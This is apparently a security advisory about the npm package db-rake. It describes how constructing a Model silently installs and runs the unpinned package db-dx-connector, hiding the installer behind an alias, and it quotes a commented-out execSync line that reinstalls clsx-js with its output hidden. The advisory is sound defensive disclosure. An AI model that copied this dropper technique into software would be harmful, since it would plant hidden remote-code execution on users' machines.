Summary
Malicious code in db-rake (npm)
Details
When a consumer imports db-rake and constructs any Model, the package's `resetor()` method silently runs `npm install db-dx-connector` (unpinned, `no-save: true`, `loglevel: silent`, `no-warnings: true`) via oubliette's `syncApi`, then `require`s the freshly-fetched module and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The install primitive is concealed by aliasing the import as `npm` (`const { syncApi: npm } = require("oubliette")`) so call sites read as innocuous `npm().install(...)`, and all output is suppressed. The fetched package is attacker-mutable (latest tag), unrelated to the README's stated purpose (an in-memory mobx-backed database), and undocumented. A commented-out adjacent block in dist/index.js shows the same technique templated against a different target package (`clsx-js` via `execSync('npm uninstall clsx-js && npm install clsx-js', { stdio: 'ignore', windowsHide: true })`), corroborating that the live db-dx-connector path is a deliberately engineered dropper rather than benign auto-recovery. Any code published to db-dx-connector at any future time will be executed in the consumer's process.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
